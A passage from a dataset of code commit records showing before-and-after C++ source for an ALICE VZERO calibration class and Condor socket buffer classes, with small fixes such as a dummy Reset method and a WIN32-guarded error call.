*\/\n} \/* namespace eos *\/\n\n#endif \/* BLENDSHAPEFITTING_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\n\/* $Id: AliVZEROCalibData.cxx,                                            *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                         \/\/\n\/\/ class for VZERO calibration                                             \/\/\n\/\/                                                                         \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliVZEROCalibData.h\"\n\nClassImp(AliVZEROCalibData)\n\n\/\/________________________________________________________________\nAliVZEROCalibData::AliVZEROCalibData()\n{\n  \n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData::AliVZEROCalibData(const char* name)\n{\n  TString namst = \"Calib_\";\n  namst += name;\n  SetName(namst.Data());\n  SetTitle(namst.Data());\n\n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData::AliVZEROCalibData(const AliVZEROCalibData& calibda) :\n  TNamed(calibda)\n{\n\/\/ copy constructor\n\n  SetName(calibda.GetName());\n  SetTitle(calibda.GetName());\n  \n  for(int t=0; t<128; t++) { \n      fPedestal[t] = calibda.GetPedestal(t);\n      fSigma[t]    = calibda.GetSigma(t);\n      fGain[t]     = calibda.GetGain(t); }\n      \n  for(int t=0; t<64; t++) { \n      fTimeOffset[t]   = calibda.GetTimeOffset(t);\n      fTimeGain[t]     = calibda.GetTimeGain(t); }   \n  \n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData &AliVZEROCalibData::operator =(const AliVZEROCalibData& calibda)\n{\n\/\/ assignment operator\n\n  SetName(calibda.GetName());\n  SetTitle(calibda.GetName());\n  \n  for(int t=0; t<128; t++) {\n      fPedestal[t] = calibda.GetPedestal(t);\n      fSigma[t]    = calibda.GetSigma(t);\n      fGain[t]     = calibda.GetGain(t); }\n      \n  for(int t=0; t<64; t++) { \n      fTimeOffset[t]   = calibda.GetTimeOffset(t);\n      fTimeGain[t]     = calibda.GetTimeGain(t); }     \n  \n  return *this;\n  \n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData::~AliVZEROCalibData()\n{\n  \n}\n\n                                                                                   \n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetPedestal(Float_t* Pedestal)\n{\n  if(Pedestal) for(int t=0; t<128; t++) fPedestal[t] = Pedestal[t];\n  else for(int t=0; t<128; t++) fPedestal[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetSigma(Float_t* Sigma)\n{\n  if(Sigma) for(int t=0; t<128; t++) fSigma[t] = Sigma[t];\n  else for(int t=0; t<128; t++) fSigma[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetGain(Float_t* Gain) \n{\n  if(Gain) for(int t=0; t<128; t++) fGain[t] = Gain[t];\n  else for(int t=0; t<128; t++) fGain[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetTimeOffset(Float_t* TimeOffset) \n{\n  if(TimeOffset) for(int t=0; t<64; t++) fTimeOffset[t] = TimeOffset[t];\n  else for(int t=0; t<64; t++) fTimeOffset[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetTimeGain(Float_t* TimeGain) \n{\n  if(TimeGain) for(int t=0; t<64; t++) fTimeGain[t] = TimeGain[t];\n  else for(int t=0; t<64; t++) fTimeGain[t] = 0.0;\n}\n<commit_msg>implementation of dummy Reset method<commit_after>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\n\/* $Id: AliVZEROCalibData.cxx,                                            *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                         \/\/\n\/\/ class for VZERO calibration                                             \/\/\n\/\/                                                                         \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliVZEROCalibData.h\"\n\nClassImp(AliVZEROCalibData)\n\n\/\/________________________________________________________________\nAliVZEROCalibData::AliVZEROCalibData()\n{\n  \n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::Reset()\n{\n  \n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData::AliVZEROCalibData(const char* name)\n{\n  TString namst = \"Calib_\";\n  namst += name;\n  SetName(namst.Data());\n  SetTitle(namst.Data());\n\n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData::AliVZEROCalibData(const AliVZEROCalibData& calibda) :\n  TNamed(calibda)\n{\n\/\/ copy constructor\n\n  SetName(calibda.GetName());\n  SetTitle(calibda.GetName());\n  \n  for(int t=0; t<128; t++) { \n      fPedestal[t] = calibda.GetPedestal(t);\n      fSigma[t]    = calibda.GetSigma(t);\n      fGain[t]     = calibda.GetGain(t); }\n      \n  for(int t=0; t<64; t++) { \n      fTimeOffset[t]   = calibda.GetTimeOffset(t);\n      fTimeGain[t]     = calibda.GetTimeGain(t); }   \n  \n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData &AliVZEROCalibData::operator =(const AliVZEROCalibData& calibda)\n{\n\/\/ assignment operator\n\n  SetName(calibda.GetName());\n  SetTitle(calibda.GetName());\n  \n  for(int t=0; t<128; t++) {\n      fPedestal[t] = calibda.GetPedestal(t);\n      fSigma[t]    = calibda.GetSigma(t);\n      fGain[t]     = calibda.GetGain(t); }\n      \n  for(int t=0; t<64; t++) { \n      fTimeOffset[t]   = calibda.GetTimeOffset(t);\n      fTimeGain[t]     = calibda.GetTimeGain(t); }     \n  \n  return *this;\n  \n}\n\n\/\/________________________________________________________________\nAliVZEROCalibData::~AliVZEROCalibData()\n{\n  \n}\n\n                                                                                   \n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetPedestal(Float_t* Pedestal)\n{\n  if(Pedestal) for(int t=0; t<128; t++) fPedestal[t] = Pedestal[t];\n  else for(int t=0; t<128; t++) fPedestal[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetSigma(Float_t* Sigma)\n{\n  if(Sigma) for(int t=0; t<128; t++) fSigma[t] = Sigma[t];\n  else for(int t=0; t<128; t++) fSigma[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetGain(Float_t* Gain) \n{\n  if(Gain) for(int t=0; t<128; t++) fGain[t] = Gain[t];\n  else for(int t=0; t<128; t++) fGain[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetTimeOffset(Float_t* TimeOffset) \n{\n  if(TimeOffset) for(int t=0; t<64; t++) fTimeOffset[t] = TimeOffset[t];\n  else for(int t=0; t<64; t++) fTimeOffset[t] = 0.0;\n}\n\n\/\/________________________________________________________________\nvoid AliVZEROCalibData::SetTimeGain(Float_t* TimeGain) \n{\n  if(TimeGain) for(int t=0; t<64; t++) fTimeGain[t] = TimeGain[t];\n  else for(int t=0; t<64; t++) fTimeGain[t] = 0.0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************Copyright-DO-NOT-REMOVE-THIS-LINE**\n * CONDOR Copyright Notice\n *\n * See LICENSE.TXT for additional notices and disclaimers.\n *\n * Copyright (c)1990-1998 CONDOR Team, Computer Sciences Department, \n * University of Wisconsin-Madison, Madison, WI.  All Rights Reserved.  \n * No use of the CONDOR Software Program Source Code is authorized \n * without the express consent of the CONDOR Team.  For more information \n * contact: CONDOR Team, Attention: Professor Miron Livny, \n * 7367 Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, \n * (608) 262-0856 or miron@cs.wisc.edu.\n *\n * U.S. Government Rights Restrictions: Use, duplication, or disclosure \n * by the U.S. Government is subject to restrictions as set forth in \n * subparagraph (c)(1)(ii) of The Rights in Technical Data and Computer \n * Software clause at DFARS 252.227-7013 or subparagraphs (c)(1) and \n * (2) of Commercial Computer Software-Restricted Rights at 48 CFR \n * 52.227-19, as applicable, CONDOR Team, Attention: Professor Miron \n * Livny, 7367 Computer Sciences, 1210 W. Dayton St., Madison, \n * WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.\n****************************Copyright-DO-NOT-REMOVE-THIS-LINE**\/\n#define _POSIX_SOURCE\n\n#include \"condor_common.h\"\n#include \"condor_constants.h\"\n#include \"condor_io.h\"\n#include \"condor_debug.h\"\n\n\nunsigned long num_created = 0;\nunsigned long num_deleted = 0;\n\n\n\nvoid\nsanity_check()\n{\n\tdprintf(D_ALWAYS, \"IO: Buffer management:\\n\");\n\tdprintf(D_ALWAYS, \"IO:     created: %d\\n\", num_created);\n\tdprintf(D_ALWAYS, \"IO:     deleted: %d\\n\\n\", num_deleted);\n}\n\n\nBuf::Buf(\n\tint\tsz\n\t)\n{\n\t_dta = new char[sz];\n\t_dta_maxsz = sz;\n\t_dta_sz = 0;\n\t_dta_pt = 0;\n\t_next = NULL;\n\tnum_created++;\n}\n\n\nBuf::~Buf()\n{\n\tif (_dta) delete [] _dta;\n\tnum_deleted++;\n}\n\n\n\nint Buf::write(\n\tSOCKET\tsockd,\n\tint\t\tsz,\n\tint\t\ttimeout\n\t)\n{\n\tint\tnw;\n\tint nwo;\n\tunsigned int start_time, curr_time;\n\n\tif (sz < 0 || sz > num_untouched()) sz = num_untouched();\n\n\tif ( timeout > 0 ) {\n\t\tstart_time = time(NULL);\n\t\tcurr_time = start_time;\n\t}\n\n\tfor(nw=0;nw < sz;) {\n\t\tif (timeout > 0) {\n\t\t\tstruct timeval\ttimer;\n\t\t\tfd_set\t\t\twritefds;\n\t\t\tint\t\t\t\tnfds=0, nfound;\n\n\t\t\tif ( curr_time == 0 )\n\t\t\t\tcurr_time = time(NULL);\n\t\t\tif ( start_time + timeout > curr_time ) {\n\t\t\t\ttimer.tv_sec = (start_time + timeout) - curr_time;\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS,\"timeout reading in Buf::write()\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tcurr_time = 0;\t\/\/ so we call time() next time around\n\t\t\ttimer.tv_usec = 0;\n\t#if !defined(WIN32) \/\/ nfds is ignored on WIN32\n\t\t\tnfds = sockd + 1;\n\t#endif\n\t\t\tFD_ZERO( &writefds );\n\t\t\tFD_SET( sockd, &writefds );\n\n\t\t\tnfound = select( nfds, 0, &writefds, 0, &timer );\n\n\t\t\tswitch(nfound) {\n\t\t\tcase 0:\n\t\t\t\tdprintf(D_ALWAYS,\"select timed out in Buf::write()\\n\");\n\t\t\t\treturn -1;\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdprintf( D_ALWAYS, \"select returns %d, send failed\\n\",\n\t\t\t\t\tnfound );\n\t\t\t\treturn -1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tnwo = send(sockd, &_dta[num_touched()+nw], sz-nw, 0);\n\t\tif (nwo <= 0) {\n\t\t\tdprintf(D_FULLDEBUG,\"Buf:Write send failed, sock=%X, err=%d, len=%d\\n\",\n\t\t\t\tsockd,WSAGetLastError(),sz-nw);\n\t\t\treturn -1;\n\t\t}\n\n\t\tnw += nwo;\n\t}\n\n\t_dta_pt += nw;\n\treturn nw;\n}\n\n\nint Buf::flush(\n\tSOCKET\tsockd,\n\tvoid\t*hdr,\n\tint\t\tsz,\n\tint\t\ttimeout\n\t)\n{\n\/* DEBUG SESSION\n\tint\t\tdbg_fd;\n*\/\n\n\tif (sz > max_size()) return -1;\n\tif (hdr && sz > 0){\n\t\tmemcpy(_dta, hdr, sz);\n\t}\n\n\n\trewind();\n\n\/* DEBUG SESSION\n\tif ((dbg_fd = open(\"trace.snd\", O_WRONLY|O_APPEND|O_CREAT, 0700)) < 0){\n\t\tdprintf(D_ALWAYS, \"IO: Error opening trace file\\n\");\n\t\texit(1);\n\t}\n\tif (write(dbg_fd, _dta, _dta_maxsz) != _dta_maxsz){\n\t\tdprintf(D_ALWAYS, \"IO: ERROR LOGGING\\n\");\n\t\treturn FALSE;\n\t}\n\t::close(dbg_fd);\n*\/\n\n\n\tsz = write(sockd, -1, timeout);\n\treset();\n\n\treturn sz;\n}\n\n\nint Buf::read(\n\tSOCKET\tsockd,\n\tint\t\tsz,\n\tint\t\ttimeout\n\t)\n{\n\tint\tnr;\n\tint nro;\n\tunsigned int start_time, curr_time;\n\n\tif (sz < 0 || sz > num_free()){\n\t\tdprintf(D_ALWAYS, \"IO: Buffer too small\\n\");\n\t\treturn -1;\n\t\t\/* sz = num_free(); *\/\n\t}\n\n\tif ( timeout > 0 ) {\n\t\tstart_time = time(NULL);\n\t\tcurr_time = start_time;\n\t}\n\n\tfor(nr=0;nr <sz;){\n\n\t\tif (timeout > 0) {\n\t\t\tstruct timeval\ttimer;\n\t\t\tfd_set\t\t\treadfds;\n\t\t\tint\t\t\t\tnfds=0, nfound;\n\n\t\t\tif ( curr_time == 0 )\n\t\t\t\tcurr_time = time(NULL);\n\t\t\tif ( start_time + timeout > curr_time ) {\n\t\t\t\ttimer.tv_sec = (start_time + timeout) - curr_time;\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS,\"timeout reading in Buf::read()\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tcurr_time = 0;\t\/\/ so we call time() next time around\n\t\t\ttimer.tv_usec = 0;\n#if !defined(WIN32) \/\/ nfds is ignored on WIN32\n\t\t\tnfds = sockd + 1;\n#endif\n\t\t\tFD_ZERO( &readfds );\n\t\t\tFD_SET( sockd, &readfds );\n\n\t\t\tnfound = select( nfds, &readfds, 0, 0, &timer );\n\n\t\t\tswitch(nfound) {\n\t\t\tcase 0:\n\t\t\t\tdprintf( D_ALWAYS, \"select timed out in Buf::read()\\n\" );\n\t\t\t\treturn -1;\n\t\t\tcase 1:\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdprintf( D_ALWAYS, \"select returns %d, recv failed\\n\",\n\t\t\t\t\tnfound );\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\tnro = recv(sockd, &_dta[num_used()+nr], sz-nr, 0);\n\n\t\tif (nro <= 0) {\n\t\t\tdprintf( D_ALWAYS, \"recv returned %d, errno = %d\\n\", \n\t\t\t\t\t nro, errno );\n\t\t\treturn -1;\n\t\t}\n\n\t\tnr += nro;\n\t}\n\n\t_dta_sz += nr;\n\n\n\/* DEBUG SESSION\n\tif ((dbg_fd = open(\"trace.rcv\", O_WRONLY|O_APPEND|O_CREAT, 0700)) < 0){\n\t\tdprintf(D_ALWAYS, \"IO: Error opening trace file\\n\");\n\t\texit(1);\n\t}\n\tif (write(dbg_fd, _dta, _dta_maxsz) != _dta_maxsz){\n\t\tdprintf(D_ALWAYS, \"IO: ERROR LOGGING\\n\");\n\t\treturn FALSE;\n\t}\n\t::close(dbg_fd);\n*\/\n\n\treturn nr;\n}\n\n\n\nint Buf::put_max(\n\tconst void\t*dta,\n\tint\t\t\tsz\n\t)\n{\n\tif (sz > num_free()) sz = num_free();\n\n\tmemcpy(&_dta[num_used()], dta, sz);\n\n\t_dta_sz += sz;\n\treturn sz;\n}\n\n\nint Buf::get_max(\n\tvoid\t\t*dta,\n\tint\t\t\tsz\n\t)\n{\n\tif (sz > num_untouched()) sz = num_untouched();\n\n\tmemcpy(dta, &_dta[num_touched()], sz);\n\n\t_dta_pt += sz;\n\treturn sz;\n}\n\n\nint Buf::find(\n\tchar\tdelim\n\t)\n{\n\tchar\t*tmp;\n\n\tif (!(tmp = (char *)memchr(&_dta[num_touched()], delim, num_untouched()))){\n\t\treturn -1;\n\t}\n\n\treturn (tmp - &_dta[num_touched()]);\n}\n\n\nint Buf::peek(\n\tchar\t\t&c\n\t)\n{\n\tif (empty() || consumed()) return FALSE;\n\n\tc = _dta[num_touched()];\n\treturn TRUE;\n}\n\n\n\nint Buf::seek(\n\tint\t\tpos\n\t)\n{\n\tint\ttmp;\n\n\ttmp = _dta_pt;\n\t_dta_pt = (pos < 0) ? 0 : ((pos < _dta_maxsz) ? pos : _dta_maxsz-1);\n\tif (_dta_pt > _dta_sz) _dta_sz = _dta_pt;\n\treturn tmp;\n}\n\n\n\nvoid ChainBuf::reset()\n{\n\tBuf\t*trav;\n\tBuf\t*trav_n;\n\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\n\tfor(trav=_head; trav; trav=trav_n){\n\t\ttrav_n = trav->next();\n\t\tdelete trav;\n\t}\n\n\t_head = _tail = _curr = (Buf *)0;\n}\n\n\nint dbg_count = 0;\n\nint ChainBuf::get(\n\tvoid\t*dta,\n\tint\t\tsz\n\t)\n{\n\tint\t\tlast_incr;\n\tint\t\tnr;\n\n\tif (dbg_count++ > 307){\n\t\tdbg_count--;\n\t}\n\n\n\tfor(nr=0; _curr; _curr=_curr->next()){\n\t\tlast_incr = _curr->get_max(&((char *)dta)[nr], sz-nr);\n\t\tnr += last_incr;\n\t\tif (nr == sz) break;\n\t}\n\n\treturn nr;\n}\n\n\n\nint ChainBuf::put(\n\tBuf\t\t*dta\n\t)\n{\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\n\tif (!_tail){\n\t\t_head = _tail = _curr = dta;\n\t\tdta->set_next((Buf *)0);\n\t}\n\telse{\n\t\t_tail->set_next(dta);\n\t\t_tail = dta;\n\t\t_tail->set_next((Buf *)0);\n\t}\n\n\treturn TRUE;\n}\n\n\nint ChainBuf::get_tmp(\n\tvoid\t*&ptr,\n\tchar\tdelim\n\t)\n{\n\tint\tnr;\n\tint\ttr;\n\tBuf\t*trav;\n\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\n\tif (!_curr) return -1;\n\n\t\/* case 1: in one buffer *\/\n\tif ((tr = _curr->find(delim)) >= 0){\n\t\tptr = _curr->get_ptr();\n\t\tnr = _curr->seek(0);\n\t\t_curr->seek(nr+tr+1);\n\t\treturn tr+1;\n\t}\n\n\t\/* case 2: string is in >1 buffers. *\/\n\n\tnr = _curr->num_untouched();\n\tif (!_curr->next()) return -1;\n\n\tfor(trav = _curr->next(); trav; trav = trav->next()){\n\t\tif ((tr = trav->find(delim)) < 0){\n\t\t\tnr += trav->num_untouched();\n\t\t}\n\t\telse{\n\t\t\tnr += tr;\n\t\t\tif (!(_tmp = new char[nr+1])) return -1;\n\t\t\tget(_tmp, nr+1);\n\t\t\tptr = _tmp;\n\t\t\treturn nr+1;\n\t\t}\n\t}\n\n\treturn -1;\n}\n\n\nint ChainBuf::peek(\n\tchar\t&c\n\t)\n{\n\tif (_tmp) { delete [] _tmp; _tmp = (char *)0; }\n\tif (!_curr) return FALSE;\n\n\n\tif (!_curr->peek(c)){\n\t\tif (!(_curr = _curr->next())) return FALSE;\n\t\treturn _curr->peek(c);\n\t}\n\n\treturn TRUE;\n}\n\n<commit_msg>fixed last checkin (broke build on Unix)<commit_after>\/***************************Copyright-DO-NOT-REMOVE-THIS-LINE**\n * CONDOR Copyright Notice\n *\n * See LICENSE.TXT for additional notices and disclaimers.\n *\n * Copyright (c)1990-1998 CONDOR Team, Computer Sciences Department, \n * University of Wisconsin-Madison, Madison, WI.  All Rights Reserved.  \n * No use of the CONDOR Software Program Source Code is authorized \n * without the express consent of the CONDOR Team.  For more information \n * contact: CONDOR Team, Attention: Professor Miron Livny, \n * 7367 Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, \n * (608) 262-0856 or miron@cs.wisc.edu.\n *\n * U.S. Government Rights Restrictions: Use, duplication, or disclosure \n * by the U.S. Government is subject to restrictions as set forth in \n * subparagraph (c)(1)(ii) of The Rights in Technical Data and Computer \n * Software clause at DFARS 252.227-7013 or subparagraphs (c)(1) and \n * (2) of Commercial Computer Software-Restricted Rights at 48 CFR \n * 52.227-19, as applicable, CONDOR Team, Attention: Professor Miron \n * Livny, 7367 Computer Sciences, 1210 W. Dayton St., Madison, \n * WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.\n****************************Copyright-DO-NOT-REMOVE-THIS-LINE**\/\n#define _POSIX_SOURCE\n\n#include \"condor_common.h\"\n#include \"condor_constants.h\"\n#include \"condor_io.h\"\n#include \"condor_debug.h\"\n\n\nunsigned long num_created = 0;\nunsigned long num_deleted = 0;\n\n\n\nvoid\nsanity_check()\n{\n\tdprintf(D_ALWAYS, \"IO: Buffer management:\\n\");\n\tdprintf(D_ALWAYS, \"IO:     created: %d\\n\", num_created);\n\tdprintf(D_ALWAYS, \"IO:     deleted: %d\\n\\n\", num_deleted);\n}\n\n\nBuf::Buf(\n\tint\tsz\n\t)\n{\n\t_dta = new char[sz];\n\t_dta_maxsz = sz;\n\t_dta_sz = 0;\n\t_dta_pt = 0;\n\t_next = NULL;\n\tnum_created++;\n}\n\n\nBuf::~Buf()\n{\n\tif (_dta) delete [] _dta;\n\tnum_deleted++;\n}\n\n\n\nint Buf::write(\n\tSOCKET\tsockd,\n\tint\t\tsz,\n\tint\t\ttimeout\n\t)\n{\n\tint\tnw;\n\tint nwo;\n\tunsigned int start_time, curr_time;\n\n\tif (sz < 0 || sz > num_untouched()) sz = num_untouched();\n\n\tif ( timeout > 0 ) {\n\t\tstart_time = time(NULL);\n\t\tcurr_time = start_time;\n\t}\n\n\tfor(nw=0;nw < sz;) {\n\t\tif (timeout > 0) {\n\t\t\tstruct timeval\ttimer;\n\t\t\tfd_set\t\t\twritefds;\n\t\t\tint\t\t\t\tnfds=0, nfound;\n\n\t\t\tif ( curr_time == 0 )\n\t\t\t\tcurr_time = time(NULL);\n\t\t\tif ( start_time + timeout > curr_time ) {\n\t\t\t\ttimer.tv_sec = (start_time + timeout) - curr_time;\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS,\"timeout reading in Buf::write()\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tcurr_time = 0;\t\/\/ so we call time() next time around\n\t\t\ttimer.tv_usec = 0;\n\t#if !defined(WIN32) \/\/ nfds is ignored on WIN32\n\t\t\tnfds = sockd + 1;\n\t#endif\n\t\t\tFD_ZERO( &writefds );\n\t\t\tFD_SET( sockd, &writefds );\n\n\t\t\tnfound = select( nfds, 0, &writefds, 0, &timer );\n\n\t\t\tswitch(nfound) {\n\t\t\tcase 0:\n\t\t\t\tdprintf(D_ALWAYS,\"select timed out in Buf::write()\\n\");\n\t\t\t\treturn -1;\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdprintf( D_ALWAYS, \"select returns %d, send failed\\n\",\n\t\t\t\t\tnfound );\n\t\t\t\treturn -1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tnwo = send(sockd, &_dta[num_touched()+nw], sz-nw, 0);\n\t\tif (nwo <= 0) {\n\t\t\tdprintf(D_FULLDEBUG,\"Buf:Write send failed, sock=%X, err=%d, len=%d\\n\",\n\t\t\t\tsockd,\n#ifdef WIN32\n\t\t\t\tWSAGetLastError(),\n#else\n\t\t\t\terrno,\n#endif\n\t\t\t\tsz-nw);\n\t\t\treturn -1;\n\t\t}\n\n\t\tnw += nwo;\n\t}\n\n\t_dta_pt += nw;\n\treturn nw;\n}\n\n\nint Buf::flush(\n\tSOCKET\tsockd,\n\tvoid\t*hdr,\n\tint\t\tsz,\n\tint\t\ttimeout\n\t)\n{\n\/* DEBUG SESSION\n\tint\t\tdbg_fd;\n*\/\n\n\tif (sz > max_size()) return -1;\n\tif (hdr && sz > 0){\n\t\tmemcpy(_dta, hdr, sz);\n\t}\n\n\n\trewind();\n\n\/* DEBUG SESSION\n\tif ((dbg_fd = open(\"trace.snd\", O_WRONLY|O_APPEND|O_CREAT, 0700)) < 0){\n\t\tdprintf(D_ALWAYS, \"IO: Error opening trace file\\n\");\n\t\texit(1);\n\t}\n\tif (write(dbg_fd, _dta, _dta_maxsz) != _dta_maxsz){\n\t\tdprintf(D_ALWAYS, \"IO: ERROR LOGGING\\n\");\n\t\treturn FALSE;\n\t}\n\t::close(dbg_fd);\n*\/\n\n\n\tsz = write(sockd, -1, timeout);\n\treset();\n\n\treturn sz;\n}\n\n\nint Buf::read(\n\tSOCKET\tsockd,\n\tint\t\tsz,\n\tint\t\ttimeout\n\t)\n{\n\tint\tnr;\n\tint nro;\n\tunsigned int start_time, curr_time;\n\n\tif (sz < 0 || sz > num_free()){\n\t\tdprintf(D_ALWAYS, \"IO: Buffer too small\\n\");\n\t\treturn -1;\n\t\t\/* sz = num_free(); *\/\n\t}\n\n\tif ( timeout > 0 ) {\n\t\tstart_time = time(NULL);\n\t\tcurr_time = start_time;\n\t}\n\n\tfor(nr=0;nr <sz;){\n\n\t\tif (timeout > 0) {\n\t\t\tstruct timeval\ttimer;\n\t\t\tfd_set\t\t\treadfds;\n\t\t\tint\t\t\t\tnfds=0, nfound;\n\n\t\t\tif ( curr_time == 0 )\n\t\t\t\tcurr_time = time(NULL);\n\t\t\tif ( start_time + timeout > curr_time ) {\n\t\t\t\ttimer.tv_sec = (start_time + timeout) - curr_time;\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS,\"timeout reading in Buf::read()\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tcurr_time = 0;\t\/\/ so we call time() next time around\n\t\t\ttimer.tv_usec = 0;\n#if !defined(WIN32) \/\/ nfds is ignored on WIN32\n\t\t\tnfds = sockd + 1;\n#endif\n\t\t\tFD_ZERO( &readfds );\n\t\t\tFD_SET( sockd, &readfds );\n\n\t\t\tnfound = select( nfds, &readfds, 0, 0, &timer );\n\n\t\t\tswitch(nfound) {\n\t\t\tcase 0:\n\t\t\t\tdprintf( D_ALWAYS, \"select timed out in Buf::read()\\n\" );\n\t\t\t\treturn -1;\n\t\t\tcase 1:\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdprintf( D_ALWAYS, \"select returns %d, recv failed\\n\",\n\t\t\t\t\tnfound );\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\tnro = recv(sockd, &_dta[num_used()+nr], sz-nr, 0);\n\n\t\tif (nro <= 0) {\n\t\t\tdprintf( D_ALWAYS, \"recv returned %d, errno = %d\\n\", \n\t\t\t\t\t nro, errno );\n\t\t\treturn -1;\n\t\t}\n\n\t\tnr += nro;\n\t}\n\n\t_dta_sz += nr;\n\n\n\/* DEBUG SESSION\n\tif ((dbg_fd = open(\"trace.rcv\", O_WRONLY|O_APPEND|O_CREAT, 0700)) < 0){\n\t\tdprintf(D_ALWAYS, \"IO: Error opening trace file\\n\");\n\t\texit(1);\n\t}\n\tif (write(dbg_fd, _dta, _dta_maxsz) != _dta_maxsz){\n\t\tdprintf(D_ALWAYS, \"IO: ERROR LOGGING\\n\");\n\t\treturn FALSE;\n\t}\n\t::close(dbg_fd);\n*\/\n\n\treturn nr;\n}\n\n\n\nint Buf::put_max(\n\tconst void\t*dta,\n\tint\t\t\tsz\n\t)\n{\n\tif (sz > num_free()) sz = num_free();\n\n\tmemcpy(&_dta[num_used()], dta, sz);\n\n\t_dta_sz += sz;\n\treturn sz;\n}\n\n\nint Buf::get_max(\n\tvoid\t\t*dta,\n\tint\t\t\tsz\n\t)\n{\n\tif (sz > num_untouched()) sz = num_untouched();\n\n\tmemcpy(dta, &_dta[num_touched()], sz);\n\n\t_dta_pt += sz;\n\treturn sz;\n}\n\n\nint Buf::find(\n\tchar\tdelim\n\t)\n{\n\tchar\t*tmp;\n\n\tif (!(tmp = (char *)memchr(&_dta[num_touched()], delim, num_untouched()))){\n\t\treturn -1;\n\t}\n\n\treturn (tmp - &_dta[num_touched()]);\n}\n\n\nint Buf::peek(\n\tchar\t\t&c\n\t)\n{\n\tif (empty() || consumed()) return FALSE;\n\n\tc = _dta[num_touched()];\n\treturn TRUE;\n}\n\n\n\nint 